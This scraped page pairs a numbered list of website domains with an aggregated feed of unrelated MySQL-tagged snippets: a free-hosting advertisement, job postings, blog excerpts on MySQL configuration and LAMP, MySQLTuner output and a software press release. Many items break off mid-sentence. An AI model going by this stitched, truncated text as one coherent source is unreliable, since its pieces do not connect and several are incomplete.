2450) motorola.com
2451) bytes.com
2452) clicrbs.com.br
2453) quibids.com
2454) amazon.ca
2455) speckyboy.com
2456) esuteru.com
2457) twipple.jp
2458) zamunda.net
2459) asklaila.com
2460) freenet.de
2461) arbeitsagentur.de
2462) crackberry.com
2463) adtech.info
2464) lyricsfreak.com
2465) footmercato.net
2466) 521g.org
2467) ingdirect.com
2468) wiley.com
2469) haber365.com
2470) bigcartel.com
2471) n4g.com
2472) yupoo.com
2473) index.hr
2474) push2check.com
2475) telecinco.es
2476) affiliatewindow.com
2477) pnc.com
2478) sport-fm.gr
2479) iconarchive.com
2480) rollingstone.com
2481) j-cast.com
2482) 77union.cn
2483) vbulletin.org
2484) arsenal.com
2485) oi.com.br
2486) folkd.com
2487) utro.ru
2488) mofosex.com
2489) spankwirecams.com
2490) tenki.jp
2491) chron.com
2492) tao123.com
2493) livingrichwithcoupons.com
2494) webmasterhome.cn
2495) nhaccuatui.com
2496) 20min.ch
2497) movshare.net
2498) enom.com
2499) opencart.com
2500) diandian.com
2501) sarenza.com
2502) balatarin.com
2503) lifenews.ru
2504) letao.com
2505) guru.com
2506) nzherald.co.nz
2507) azcentral.com
2508) ntvmsnbc.com
2509) lumosity.com
2510) nbc.com
2511) adtrackrs.com
2512) nastyvideotube.com
2513) itaringa.net
2514) peoplestring.com
2515) ebay.at
2516) userscripts.org
2517) qassimy.com
2518) hotklix.com
2519) jeddahbikers.com
2520) moheet.com
2521) stuff.co.nz
2522) hardware.fr
2523) videorewardcentral.com
2524) farmville.com
2525) sinowaypromo.com
2526) stockcharts.com
2527) magicmovies.com
2528) emol.com
2529) yle.fi
2530) csmonitor.com
2531) pgatour.com
2532) rapidlibrary.com
2533) filetram.com
2534) 293.net
2535) downloadha.com
2536) nhl.com
2537) ifolder.ru
2538) si.kz
2539) vedomosti.ru
2540) edreams.it
2541) xat.com
2542) telekom.de
2543) mforos.com
2544) zend.com
2545) bab.la
2546) punyu.com
2547) picofile.com
2548) oeeee.com
2549) bebo.com
2550) nj.com
2551) elheddaf.com
2552) bandcamp.com
2553) sport-express.ru
2554) sephora.com
2555) gmarket.co.kr
2556) allfacebook.com
2557) list-manage1.com
2558) ebayclassifieds.com
2559) 123greetings.com
2560) monografias.com
2561) icanhascheezburger.com
2562) dcinside.com
2563) megavod.fr
2564) nttdocomo.co.jp
2565) audible.com
2566) 4pda.ru
2567) rae.es
2568) 3dnews.ru
2569) olx.com.br
2570) eurogrand.com
2571) fotomac.com.tr
2572) vkrugudruzei.ru
2573) radio.com
2574) pornpros.com
2575) maultalk.com
2576) blic.rs
2577) torrentdownloads.net
2578) google.lv
2579) hankooki.com
2580) goo-net.com
2581) netshoes.com.br
2582) abclocal.go.com
2583) leonardo.it
2584) sap.com
2585) lachainemeteo.com
2586) link-assistant.com
2587) keywordspy.com
2588) samsclub.com
2589) facebook.net
2590) phpbb.com
2591) 500wan.com
2592) rai.it
2593) changyou.com
2594) ssrj.net
2595) foxbusiness.com
2596) waw.pl
2597) b2b.cn
2598) letsbuy.com
2599) abovetopsecret.com
2600) websitegrader.com
2601) v7n.com
2602) malaysiakini.com
2603) bigmir.net
2604) bangbros.com
2605) nvidia.com
2606) on.cc
2607) bancomercantil.com
2608) zakzak.co.jp
2609) criteo.com
2610) vworker.com
261
          000webhost.com is better than paid hosting   
000webhost.com ($0.00 webhost), is an industry leader in providing top class free web hosting services without advertising! There are no hidden costs, no adverts, and no restrictive terms. Lighting fast speeds, maximum reliability and fanatical user support are just a few of the features you'll receive with our service.

000webhost.com are probably the only free web hosting company that has proof for "99% uptime guarantee". Check our uptime stats. 000webhost.com managed to reach even 99.9% uptime for most of the servers. Can your current hosting provider show you any proof for that "99.9% uptime" they guarantee?

1500 MB Disk Space, 100 GB Data Transfer
Every account receives 1500MB space and a whopping 100GB bandwidth, made possible by the unmetered connections our servers utilise. Should your site ever need more than our standard package can offer, 000webhost.com also offer a wide range of upgrade options.


PHP with MySQL Database Support
Unlike other free webhosts we do support PHP and MySQL with no restrictions. You get full access to the latest version of PHP and MySQL. The following PHP features are fully supported:

  • PHP mail() function and Sendmail
  • Curl, GD2 library, XML, Zend, .htaccess support
  • fopen() and PHP sockets
  • safe_mode is OFF, file uploads are ON
  • Zend Optimizer support, Ioncube loader.. and much more features are enabled
cPanel Control Panel
cPanel is the most advanced control panel in industry. It has tons of features and it is easy to use even for newbie. Interactive help, video tutorials will help you to understand why cPanel is the best and you will never want to switch to anything else. cPanel is widely used by the paid hosts, but we are giving you it absolutely free!

Fantastico De Luxe 1-Click Autoinstaller
Finally! 000webhost.com are the first free webhosting company that gives you access to Fantastico Autoinstatler. Fantastico is a system designed to make installing popular scripts easy. If you want to improve your web site with a discussion forum or an online gallery to show everyone your latest holiday snaps, you can. With a few clicks of your mouse your web site will be transformed into a fantastic resource for you, your business or your family.

Fantastico can install over 40 popular scripts such as: Drupal, Geeklog, Joomla, Xoops, WordPress, b2evolution, Support Logic Helpdesk, phpBB2, SMF, OS Commerce, ViPER Guestbook, Coppermine Photo Gallery, PhpWiki, PHPauction, WebCalendar and more. To see full list of available installations click here.

Website Builder Software
Our hosting is supercharged with SiteReptile website builder. SiteReptile is the easiest to use website builder in the market. Just 3 steps (enter your login details, select one of 330 high quality templates and click 'publish') and your website is ready online for editing. Just one click - and you have subpage created or contact form inserted.

Register here : 000webhost.com

Free Website Hosting





          Ruby Programmer needed for Project - Detroit   
We are looking for a qualified Ruby on Rails developer to help our client design and build a number of interactive web applications.

The developer will work directly with our client to gain a strong understanding of the project needs and to iteratively refine the applications as they are built. He or she will work with the entire application stack, from helping to design the database and building sophisticated model classes, to writing templates, to layering on a richer user experience using with the jQuery JavaScript library. A working knowledge of CSS is also useful.


Qualifications:

* Knowledge of the Ruby language, object-oriented programming

* Experience developing and deploying Ruby on Rails applications

* Database design and SQL experience (MySQL and SQL Server directly applicable)

* Strong HTML, XHTML, and CSS experience

* Experience working in a team environment; friendly, outgoing manner

* Great communication skills, both verbal and written

Other Requirements:

When you work with our company as a Contractor/Freelancer through our company, you get great benefits and exposure to jobs that aren't advertised! After you have worked for 4 consecutive weeks with us, you will be eligible to sign up for our Cigna medical/dental/vision insurance benefits. We subsidize this, so if you choose the HMO option and work 40 hours per week, medical insurance is FREE for you!


As a contract worker, you also get perks such as discounts at the Apple Store, CDW and Barnes and Noble. After 5 months of working you gain even more benefits, such as paid holidays, option to participate in our 401k program (with company match), and annual vacation bonus pay.


          40hr PHP Project by hartungbecky   
I need a dedicated php person to do a 40hour project starting now. I have a barcode plugin and need to arrange orders using that barcode plugin. Using opencart framework. More details on im. (Budget: $250 - $750 USD, Jobs: MySQL, PHP)
          Serversoftware en Windows Servers   
Topics: 13755 Messages: 133518 Last message: 28-06-2017 22:51 Alles over server-software en Windows servers. Hier vind je alles over Windows 2003, Apache, WSUS, Squid, IIS, MySQL, MS SQL Server en andere server-side applicaties.
          添加skip-innodb后MySQL启动失败   
在小内存的VPS上,童鞋们(包括我)一般都爱做下所谓的优化,其中针对MySQL的优化中,有这样三个参数: skip-innodb / skip-bdb / skip-locking 特别是第一个参数,据说打开后很省内存,所以我在安装完MySQL之后就在my.cnf中填上了这三个参数,但很不幸,在
          Win2008 PHP 环境配置教程   
本文探讨 Windows Server 2008 系统 IIS 7 中 PHP 环境的配置,一旦掌握了这个简要的方法,你就再也不需要 apache 了,原来IIS 7竟然如此出色! 废话不说,直接步入正题。 一、准备工作 1、所需软件: MySQL数据库 :本文用MySQL-essential-5.0.45-win32.msi
          MySQL Master Slave Replication配置   
以下详解MySQL 5.5 master-slave(Replication) 配置: 一主一从: Master: OS:centos release 5.6 DB:mysql 5.5 . 8 IP: 192.168 . 1.2 Slave: OS:centos release 5.6 DB:mysql 5.5 . 8 IP: 192.168 . 1.3 修改主机Master配置文件 (/etc/my.cnf) [mysqld] //
          Can’t create/write to file ‘c:\temp/#sql-XXX.MYI′   
这两天在使用MySQL做点东西,可是从前天开始,系统启动时经常出现类似Cant create/write to file c:\temp/#sql-XXX.MYI (Errcode: 13)的错误,我以为可能是我的系统的问题,于是重启应用和MySQL,该问题还是陆陆续续会出现,但又不是始终出现。我注意到该问
          Sphinx mysql 安装与测试   
参考网站 http://www.sphinxsearch.com/wiki/doku.php?id=sphinx_chinese_tutorial http://ri0day.blogbus.com/logs/41975837.html ==========================================================1 安装 因为我的LAMP环境已经配置好,所以只需要安装sphinx。
          How Can I Back Up MySQL Database Without Killing Application Performance? NetApp and Zmanda Have the Answer.   
Description: This document describes how NetApp Snapshot and Zmanda Recovery Manager (ZRM) can be used to do hot backup and point-in-time restore of MySQL databases. Specifically, this report covers the infrastructure required for integrating ZRM with a NetApp storage system and backing up and restoring a MySQL database using ZRM.
          MySQLTuner   

MySQLTunerMySQLTuner es un script escrito en Perl que le ayudará con su configuración de MySQL y hacer recomendaciones para un mayor rendimiento y estabilidad. En unos segundos, mostrará las estadísticas acerca de su instalación de MySQL y las áreas en las que se puede mejorar.

Nos bajamos el script y lo ejecutamos:

LinVx:~# perl mysqltuner.pl

 >>  MySQLTuner 1.0.0 - Major Hayden 
 >>  Bug reports, feature requests, and downloads at http://mysqltuner.com/
 >>  Run with '--help' for additional options and output filtering

-------- General Statistics --------------------------------------------------
[--] Skipped version check for MySQLTuner script
[OK] Currently running supported MySQL version 5.0.77-1-log
[OK] Operating on 32-bit architecture with less than 2GB RAM

-------- Storage Engine Statistics -------------------------------------------
[--] Status: +Archive -BDB -Federated -InnoDB -ISAM -NDBCluster
[--] Data in MyISAM tables: 3M (Tables: 126)
[!!] Total fragmented tables: 3

-------- Performance Metrics -------------------------------------------------
[--] Up for: 1d 9h 53m 48s (72K q [0.591 qps], 1K conn, TX: 58M, RX: 9M)
[--] Reads / Writes: 71% / 29%
[--] Total buffers: 250.0M global + 7.4M per thread (50 max threads)
[OK] Maximum possible memory usage: 621.9M (54% of installed RAM)
[OK] Slow queries: 0% (0/72K)
[OK] Highest usage of available connections: 6% (3/50)
[OK] Key buffer size / total MyISAM indexes: 128.0M/1.1M
[OK] Key buffer hit rate: 97.5% (87K cached / 2K reads)
[OK] Query cache efficiency: 88.6% (56K cached / 63K selects)
[OK] Query cache prunes per day: 0
[OK] Sorts requiring temporary tables: 0% (0 temp sorts / 1K sorts)
[OK] Temporary tables created on disk: 17% (289 on disk / 1K total)
[OK] Thread cache hit rate: 99% (3 created / 1K connections)
[OK] Table cache hit rate: 25% (143 open / 561 opened)
[OK] Open file limit used: 4% (289/6K)
[OK] Table locks acquired immediately: 100% (12K immediate / 12K locks)

-------- Recommendations -----------------------------------------------------
General recommendations:
    Run OPTIMIZE TABLE to defragment tables for better performance

Vemos que nos pide que optimicemos las tablas, lo podemos hacer con este comando:

mysqlcheck -o -A

Los parámetros de mysqlcheck son -o (optimizar) y -A (all databases).

Tags: 

          The Case for Code Generation Tools   

I've spent time the last few month checking out much of the latest in code generation tools. Again one of the most complete and comprehensive is Iron Speed Designer - now in version 7.1. I had the good fortune to talk for about a half hour with Alan Fisher of Iron Speed and I will be adding content here in the next weeks. Hopefully I can also present some examples.

 Here's the lastest from their press release.

For Immediate Release
Iron Speed,Inc.
Sephorah Green
408.228.3429
sgreen@ironspeed.com
http://www.ironspeed.com
 
 
 
Iron Speed Releases SharePoint Tool for IT Professionals
Develop complete, database-driven SharePoint applications without programming
 
San Jose, CA – September 28, 2010. Software development tools-maker Iron Speed, Inc. released Iron Speed Designer Version 7.1, the newest version of its popular Web 2.0 application development tool. Iron Speed Designer generates database applications for the .NET, Cloud and Microsoft SharePoint environments. The ability to implement SharePoint applications without any special software development knowledge helps IT departments create robust, productivity enhancing applications in less time and with fewer resources.
 
“There is one very critical aspect about the tool that sets it apart from others…Iron Speed Designer delivers "database-driven” SharePoint apps.  That's not something you can do with other SharePoint facilities.” – Alan Fisher, Co-Founder, Iron Speed, Inc.
 
 
SharePoint 2010 Application Generation
In Iron Speed Designer V7.1, users can generate Microsoft SharePoint 2010 applications straight from an existing database. Generated applications run inside and are fully integrated with SharePoint. No knowledge of ASPX, .NET or SharePoint APIs is required.
 
“Iron Speed Designer applications utilize SharePoint master pages so they look and feel like just like other native apps. You really can’t tell the difference between an application created with Iron Speed Designer and a hand-built application.” – Herman Chan, Software Developer, Presence Consulting
 
 
Integrated SharePoint Application Security
Generated applications include integrated SharePoint application security. SharePoint sites and their groups are used to retrieve security roles. Iron Speed Designer validates the user against a Microsoft SharePoint server on your network by retrieving the logged in user’s credentials from the SharePoint context. 
 
“With V7.1, you don’t have to be a developer to build and deploy database-driven SharePoint applications. Iron Speed Designer does everything I need right out of the box.” - Akesh Gupta, Principal, Light Speed Solutions
 
 
Enhanced IDE Support
V7.1 provides support for Microsoft Visual Studio 2010. Application code generated by Iron Speed Designer is designed to work directly with Microsoft Visual Studio .NET.  You are not required to use Microsoft Visual Studio; Each product has its benefits and they complement each other.
 
“Iron Speed Designer is not an IDE – it’s one heck of an application generator! I use Visual Studio alongside of Designer for debugging, intellisense and a couple of third-party controls…It’s really simple to toggle between the two.” – Jim Murphy, Owner, River City Software Development LLC
 
 
Iron Speed Designer Version 7.1 System Requirements
Iron Speed Designer Version 7.1 runs on Microsoft Windows 7, Windows Vista, Windows XP, and Windows Server 2003 and 2008. It generates .NET Web applications for Microsoft SQL Server, Oracle, Microsoft Access and MySQL. These applications may be deployed on any machine running the .NET Framework. Iron Speed Designer supports Microsoft SharePoint 2007 and 2010 and Windows SharePoint Services (WSS3). Find complete information about Iron Speed Designer Version 7.1 at www.ironspeed.com.
 
 
About Iron Speed, Inc.
Iron Speed is the leader in enterprise-class application generation. Our software development tools generate database and reporting applications in significantly less time and cost than hand-coding. Our flagship product, Iron Speed Designer, is the fastest way to deliver applications for the Microsoft .NET, Cloud computing and Microsoft SharePoint environments.  With products built on decades of experience in enterprise application development and large-scale e-commerce systems, Iron Speed products eliminate the need for developers to choose between "full featured" and "on schedule."
 
Founded in 1999, Iron Speed is well funded with a capital base of over $20M and strategic investors that include Arrow Electronics and Avnet, as well as executives from AMD, Excelan, Onsale, and Oracle. The company is based in San Jose, Calif., and is located online at
www.ironspeed.com.

          Social Network New Script   
Sekarang ada SOCIAL NETWORK baru, walaupun ini berbayar tapi lumayan karena mirip dengan facebook! Tetapi selain itu ada minimum reqruitment : 1. Hosting Gratis {DENIED} #Note : Bisa sebenernya, tapi 100% eror mulu karena apa ? MySQLnya ga mencukupi 2. Bandwith Minimum 10.000mb/Weeks 3. Sebaiknya membeli hosting dengan unlimited, karena sangat memberatkan :3 Anda ingin […]
          100MB / 無限流量 / PHP / MySQL / FTP   
空間限制: 100MB 流量限制: 無限流量 MySQL: 1個 FTP帳號: 1個 伺服器位置: 美國 後臺系統: E[閱讀更多]
          Job Vacancy Various Position   
Job Vacancy-Lowongan Kerja Terbaru


PT LAUTAN LUAS Tbk

CAREER OPPORTUNITIES

PT LAUTAN LUAS Tbk, established in 1951, is a distributor and manufacturer of specialty and basic chemicals. In addition to its Jakarta head office, the Company has five branches and six representative offices in Indonesia as well as a main regional subsidiary in Singapore, and offices in China, Thailand and Vietnam to oversee Distribution activities. In Manufacturing, Lautan Luas established 17 production facilities in Indonesia, three in China and is building its first manufacturing facility in Vietnam. Lautan Luas has also set up a Support & Service business segment made of four subsidiaries that were previously the Company's internal departments - laboratory, supply chain, IT and water treatment - to provide value-add services to customers.

Born of modest origins, Lautan Luas has grown to be Indonesia's leading chemical distributor and manufacturer, as it works with over 100 international principals, supplies more than 1,000 chemical products and serves some 2,000 industrial end-users throughout Indonesia and the Asia-Pacific region. And as Lautan Luas continues to grow, our corporate vision remains the foundation for growth and expansion: To be the leading regional integrated chemical distribution and manufacturing company by providing value to customers in becoming preferred business partner, challenge and opportunities to our employees, and superior return to our shareholders.

For PT LAUTAN LUAS Tbk, this means sustaining a Total Quality Management mindset. Strong emphasis is placed on the cultivation of a learning culture, where employees take great pride and joy in being a part of a talent-focused organization. Our employees are provided internal and external training for both professional and personal development to ensure a highly crafted and learned talent base. More importantly, at Lautan Luas, each individual is challenged to deliver only the best, rewarded for exceeding objectives and encouraged to enjoy the journey of a successful career.

Therefore, PT LAUTAN LUAS Tbk challenges you to join us for the following opportunities:

A. INFORMATION TECHNOLOGY

1. Business Consultant HRIS (BC-HRIS) / Business Consultant IFS (BC-IFS)

Be responsible in giving solutions regarding application programs needed by customers, starting from identifying the customer needs, determining technical specifications, preparing user documentations, exercising the new systems and conducting training of systems to the customers.

Requirements:

· Min. S1 from any major, but preferably Computer Science

· For BC-HRIS :

§ Candidates with IT background : preferably having min. 1 year programming experience especially in developing HRIS software

§ Candidates without IT background : having wide knowledge of Human Resources Information System

· For BC-IFS, having wide knowledge of IFS, both programming and system

· Preferably having 1 year experience in handling project as Business Consultant

2. Application Engineer (APP-ENG)

Responsible for performing computer programming, including preparation of program documentation, logic programs & structure charts, test & debugs computer programs; preparing technical documentation.

Requirements:

· Min. S1 majoring in Computer Science

· Having wide knowledge of PHP and Java programming is an advantage

· Preferably having 1 year experience as a Programmer / Application Engineer

3. Application Support (APP-SUP)

Responsible in installing programs and applications, handling trial session, and delivering training or providing information to the customers of how to use the programs

Requirements:

· Min. S1 majoring in Computer Science

· Having wide knowledge of Visual Basic 6, VB.NET, Java, SQL Server, Linux, MySQL, Oracle, HRIS System and Accounting System

· Preferably having 1 year experience in the same field, although fresh graduates are encouraged to apply

4. Sales Executive - Information Technology (SE-IT)

Grow sales of IT solutions in existing customers and develop new business opportunities

Requirements:

· Min. S1 from any major

· Having min. 1 year sales experience, especially in selling IT Solutions (software and or hardware)

· Working independently and travelling are a must

B. SALES AND MARKETING

1. Sales Executive (SE / SE - AUTO)

Grow sales in existing customers and develop new business opportunities

Requirements for SE:

· Preferably having a minimum of 1 year sales experience, although fresh graduates are encouraged to apply

Requirements for SE - AUTO:

· Having a minimum of 1 year sales experience

· Having a good network with automotive industries and / or brand - owner is a benefit

General Requirements for SE and SE - AUTO:

· Graduate of Chemical Engineering / Food Technology

· Good command of spoken and written English

· Working independently and traveling are a must

· Preferably be domiciled in Jakarta, Bandung, Surabaya

2. Customer Service Representative (CSR)

Partnering with Sales Executive, to ensure all back office sales activities are completed and simultaneously grow business

Requirements:

· Graduate of Engineering, preferably Chemical Engineering; Industrial Engineering; Food Technology

· Preferably having a minimum of 1 year experience as Customer Service, although fresh graduates are encouraged to apply

· Good command of spoken and written English

C. FINANCE / ACCOUNTING

1. Accounting Supervisor (ACCT-SPV) & Senior Accounting (ACCT-SR)

Responsible to generate report relating to Accounting matters

Requirements for ACCT - SPV:

· Having min. 3 years experience in Accounting with min. 1 year experience as Supervisor

· To be posted in Lampung and Jakarta

· Preferably be domiciled at Lampung and Jakarta

Requirements for ACCT - SR:

· Having min. 4 years experience in Accounting / Finance with min.3 years in the same position

· Having experiences in handling reporting / cost accounting

General Requirements for ACCT-SPV & ACCT-SR:

· Min. S1 majoring Accounting

· Good command of spoken and written English

2. Accounting Staff (ACCT)

Responsible in preparing a good recording of all transaction

Requirements:

· Min S1 Accounting

· Preferably having 1 year experience in the same field; fresh graduate are encouraged to apply

3. Credit Controller ( CC )

Responsible for controlling credit accounts, analyzing accounts, identifying and reporting those that may require difficult collection procedures

Requirements:

· Min. S1 majoring Accounting

· Having min. 2 years experience handling cash management or A/R collection

D. LEGAL

Legal Officer (LO)

Be responsible for documents keeping, Legal Drafting and Advise, and for Corporate Actions arrangement.

Requirements:

· Graduate of Law, specifically majoring in Business (Keperdataan)

· Min. 3 years experience in the same field

· Good command in spoken and written Mandarin

E. OPERATIONAL

Planning Product Inventory Control ( PPIC )

Design and maintain production plan which schedules the manufacture or purchase of products to meet customer demands

Requirements:

· Min. S1 Majoring Industrial Engineering

· Having min. 1 year experience as PPIC

· Preferably be domiciled at Tangerang

F. HUMAN RESOURCES
Human Resources Department Supervisor (HRD-SPV)

Responsible for the human resources activities, including recruitment & selection training, organizational development, compensation, benefit & services, develop and implement system and procedures.

Requirements:

· Psychologist

· Min. 3 years experience in the same position

· Having experience in handling Compensation & Benefit, PPh 21, Industrial Relation, Recruitment, Training & Development

· Good command in spoken and written English

· To be posted in Sunter

If you are confident that you can meet our requirements, please send your resume with the code of position on your email subject to:

Recruitment@ lautan-luas. com

For further information about PT LAUTAN LUAS Tbk, please visit our website at:

www.lautan-luas. com

          Impotent project. - open to bidding by atabul   
Discuss via chat box , . ... (Budget: $2 - $8 USD, Jobs: .NET, HTML, MySQL, PHP, Software Development)
          Comment on Getting Started with JSFiddle (Learn JSFiddle) by Literate Aspects   
Hi Muneeb, Any thoughts on the recent challenge I am facing? jsf managed bean accessing MySQL remote database - how to create JSON array to feed http://stackoverflow.com/questions/41142802/jsf-managed-bean-accessing-mysql-remote-database-how-to-create-json-array-to-f Any suggestions greatly appreciated. Jon
          Alterar script de DUMP mysql e envio de email. by raelpsf   
Eu tenho um script que faz dump do banco, ZIPA, e me envia o zip por email.. mas ele faz o dump completo (01 arquivo) do banco, e eu estava precisando que o zip viesse com o DUMP de todas as tabelas individuais.... (Budget: $10 USD, Jobs: MySQL, PHP)
          phpMyAdmin 2.11.1.2 Released   

phpMyAdmin, the popular web based MySQL management software has just released version 2.11.1.2

read more


          워드프레스 템플릿 편집할때 필요한 기술   
워드프레스를 설치 후 템플릿(Template)을 선택하고, 나의 블로그, 홈페이지에 맞게 편집하려면 필요한 기술은 3가지입니다. 1. HTML - 문서 만들기 2. CSS - 스타일 디자인 3. PHP - 프로그래밍 언어로 기능을 구현 데이터베이스는 MySQL을 사용합니다.
          Free PHP & MySQL: Novice to Ninja, 5th Edition Complimentary Guide   
Free PHP & MySQL: Novice to Ninja, 5th Edition Complimentary Guide Go to Tradepub . Request your FREE copy
          XML :: Storing XML into the database   
Author: vikas1234
Subject: Storing XML into the database
Posted: Tue Oct 20, 2009 4:57 pm (GMT 0)
Topic Replies: 0

I have a site of free online books and I want to store the information of the online books in XML format and want to store this XML file into database. Can anyone suggest me how to store this information into MYsql database
_________________
Free Online Books|Free pdf Books |free AJAX Books


          VAGA DE DESENVOLVEDOR P-H-P – AMERICANA – SP   
Área e especificação: Informática, TI, Programação, Desenvolvimento; Desenvolvimento de soluções POO nas plataformas PHP, JavaScript, HTML, CSS; Banco de dados determinados conforme projeto (SQL Server, MySQL, PostgreSQL, Oracle e etc.); A empresa fornece treinamentos e acompanhamento período para a evolução funcional do futuro colaborador; Tecnologias modernas e ambiente amigável para o aprendizado. Escolaridade: Técnico em…
          Praktyczny kurs online MySQL – całodobowy dostęp za 39,90 zł w MG Centrum Szkoleń i Korepetycji   
none
          When to consider sharding a MySQL database   
When to consider sharding a MySQL database   Why should you not just design your applications from the start to account for data sharding? Sharding a database, that is horizontally partitioning tables among multiple databases, creates an added level of complexity that is not desirable in an a...
          LAMP: la tecnología detrás de un proyecto web   

En los últimos días paso una gran cantidad de horas en dos proyectos enfocados a las TICs que me tienen muy entretenido, uno en el plano profesional y el otro en el plano educativo. El primero de ellos es bastante complejo y con un perfil realmente de alto nivel, donde está involucrado un equipo de profesionales que va desde diseñadores, programadores, gente de marketing, y claro un líder de proyecto; se trata de una aplicación para Android enfocado al mantenimiento industrial que aprovecha la realidad aumentada.

El otro es menos complejo pero con gran potencial, se trata de un sitio web con fines educativos que toma lo mejor de la Web 2.0 y lo lleva a los estudiantes para que los mismos puedan potencializar el desarrollo de sus capacidades y competencias académicas, además de utilizar a las redes sociales como una valiosa herramienta dentro del ámbito educativo. De este proyecto en particular quisiera hablar un poco más.

¿Qué hay detrás de ese proyecto? ¿Cuáles son las tecnologías que lo potencian? Simple: LAMP. LAMP es un acrónimo del conjunto de elementos que permiten ejecutar un proyecto web sin necesidad de una inversión en tiempo y esfuerzo significativa. Linux, Apache, MySQL y PHP son LAMP. Vayamos por partes entonces.

+++

Linux, o GNU Linux, es el sistema operativo que le da vida al proyecto, equivalente a Windows o Mac OS X, pero en esteroides; es libre, configurable, flexible, potente y efectivo. Existe una gran cantidad de versiones, la mayoría de ellas gratuítas. En lo personal tengo experiencia usando Debian, openSUSE, XandrOS y Ubuntu. En este proyecto en específico estoy usando Ubuntu 10.10 sobre una plataforma Intel de doble núcleo y todo es como caminar sobre algodones, además, si eres novato en sistemas operativos diferentes a Windows entonces Ubuntu es para tí, su eslogan lo dice todo "Linux para seres humanos". Ubuntu es muy fácil de instalar, de configurar y claro: de utilizar. Definitivamente Linux es la columna vertebral de todo proyecto de sitio web que aspire a ser exitoso.



Apache, cuyo nombre oficial es Apache HTTP Server, se trata de un servidor web de código abierto y multiplataforma (Linux, Windows, BSD, Mac OS, etc.), resalta por sus características de confiabilidad, es configurable, modular y en términos generales fácil de utilizar. Además de todo, hoy en día, es el más popular en su categoría.

MySQL es un sistema de gestión de base de datos. Desarrollado por Sun Microsystems y soportado actualmente por Oracle Corp., tiene características importantes como que trabaja con modelos relacionales, es multihilo y por supuesto, multiusuario. Al igual que Apache, MySQL es multiplataforma, lo que ha generalizado su uso en otros horizontes fuera del proyecto GNU Linux. Este elemento se encarga de ser la interfaz que une a la base de datos con el usuario y las aplicaciones que se ejecutan.

PHP, la P del acrónimo también puede ser entendida como Perl, PHP o Python; todos lenguajes de programación. En lo particular yo trabajo con PHP lo que me permite desarrollar sitios web dinámicos. PHP es muy parecido a C, razón por la cual me incliné a usar este lenguaje. También es multiplataforma y es sumamente útil para proyectos desde simples hasta muy complejos.

En conjunto Linux, Apache, MySQL y PHP me brindan grandes ventajas: es fácil y rápido construir un proyecto, es efectivo a la hora de ejecutar, desarrollo mi proyecto de manera local y me resulta económico en tiempo, esfuerzo y claro, dinero. Si están trabajando un proyecto de sitio web, dénle una oportunidad a LAMP. Si no te agrada demasiado Linux también podrías optar por configuraciones WAMP (Windows) o MAMP (Mac OS).

+++


          Full-Stack Web Developer DevOps Software Engineer Python Agile Trading / Joseph Harry Ltd / New York, NY   
Joseph Harry Ltd/New York, NY

Full-Stack Web Developer (Software Engineer Python Apache Tom Cat IIS DevOps ChatOps Microservices CI CD Bamboo BitBucket ClojureScript Docker Chef Jenkins Agile Digital Trading Banking) required by our trading software client in New York City, New York.

You MUST have the following:

Good experience as a full-stack Software Engineer/Developer for web applications; this can be any language including .NET, Java, PHP, C++, Python

HTML 5, CSS 3, JavaScript for Front End development

An interest in learning Python

Web Servers such as IIS, Tom Cat or Apache

Agile

The following would be DESIRABLE, not essential:

BitBucket

Microservices or Domain Driven Design (DDD)

ClojureScript

Docker

ChatOps

Contribution to the open-source community- GitHub, Stack Overflow

Continuous integration (Bamboo/Hudson, TeamCity, TFS, MSBuild)

Automated deployment (Chef, Ansible, Octopus)

Configuration management (Puppet, PowerShell DSC)

Role:

Full-Stack Web Developer/Software Engineer required by my trading software client in New York City, New York. You will join a small Agile team of five developers, spread over the US and Europe, that are extending and improving credit and counterparty risk applications. There will be the continuous development of new features in order to incorporate the constant release of financial regulation into the product suite. The suite is web based, built in Python and running on Apache, Tom Cat and MySQL. Although this role will be exclusively developing in Python, Python experience is not required. You can have experience in .NET, Java, PHP, C++ or other languages as long as you are happy to work with Python and have web development experience.

In order to incorporate new financial regulation, the team adopts a highly Agile DevOps environment. This results in several releases a day with the use of Bamboo, BitBucket and Confluence for continuous integration, deployment and source control.

The environment is modern and progressive. There will be excellent opportunities to progress in to Lead Developer and Architect roles.

Salary: $80k - £100k + Bonus + Benefits

Employment Type: Permanent
Work Hours: Full Time
Other Pay Info: $80k - $100k + Bonus + 401K

Apply To Job
          Episode 058 - Home Servers Part 4: WebCalendar   

In this episode: we bring all the LAMP pieces together and install a php-mysql application, WebCalendar; audio tip on Linux From Scratch; audio and email Listener Feedback.


          Episode 057 - Home Servers Part 3: PHP and MySQL   

In this episode: Debian Etch is released; a discussion of the "MP" in "LAMP": PHP and MySQL; audio Listener Tip; audio and email feedback.

Extra notes are located here.


          Software Developer 2 - Lawrence Berkeley National Laboratory - Berkeley, CA   
Experience with SQL (such as MySQL and postgres) or NoSQL databases (such as MongoDB, Lucene, SOLR or ElasticSearch)....
From Lawrence Berkeley National Laboratory - Tue, 13 Jun 2017 22:58:55 GMT - View all Berkeley, CA jobs
          Senior DevOps Engineer - Elastic Search (ELK) experience - Whiting House Technologies - Saint Paul, MN   
Unix/Linix, Microsoft, Oracle, SQL server, MySQL, MongoDB, SSH, web and app technologies (IIS, apache, tomcat, JBoss), VMware, AD and Storage/SAN....
From Whiting House Technologies - Tue, 16 May 2017 12:38:23 GMT - View all Saint Paul, MN jobs
          Senior DevOps Enginer - CI/CD Jenkins Experience - Whiting House Technologies - Saint Paul, MN   
Unix/Linix, Microsoft, Oracle, SQL server, MySQL, MongoDB, SSH, web and app technologies (IIS, apache, tomcat, JBoss), VMware, AD and Storage/SAN....
From Whiting House Technologies - Tue, 16 May 2017 12:38:22 GMT - View all Saint Paul, MN jobs
          Senior DevOps Engineer - Performance & Load Testing Experience - Whiting House Technologies - Saint Paul, MN   
Unix/Linix, Microsoft, Oracle, SQL server, MySQL, MongoDB, SSH, web and app technologies (IIS, apache, tomcat, JBoss), VMware, AD and Storage/SAN....
From Whiting House Technologies - Tue, 16 May 2017 12:38:08 GMT - View all Saint Paul, MN jobs
          IT Specialist - Floorco - Rosedale, MD   
Database management a plus, but not required (ODBC, mySQL, MongoDB). Floorco is seeking a well-rounded IT individual to join our family.... $35,000 a year
From Indeed - Thu, 04 May 2017 19:09:17 GMT - View all Rosedale, MD jobs
          UX/UI CSS MySQL PHP by tanyagray   
Fixing bugs and adding new database file (Budget: $250 - $750 USD, Jobs: CSS, MySQL, PHP, User Interface / IA)
          Alterar script de DUMP mysql e envio de email. by raelpsf   
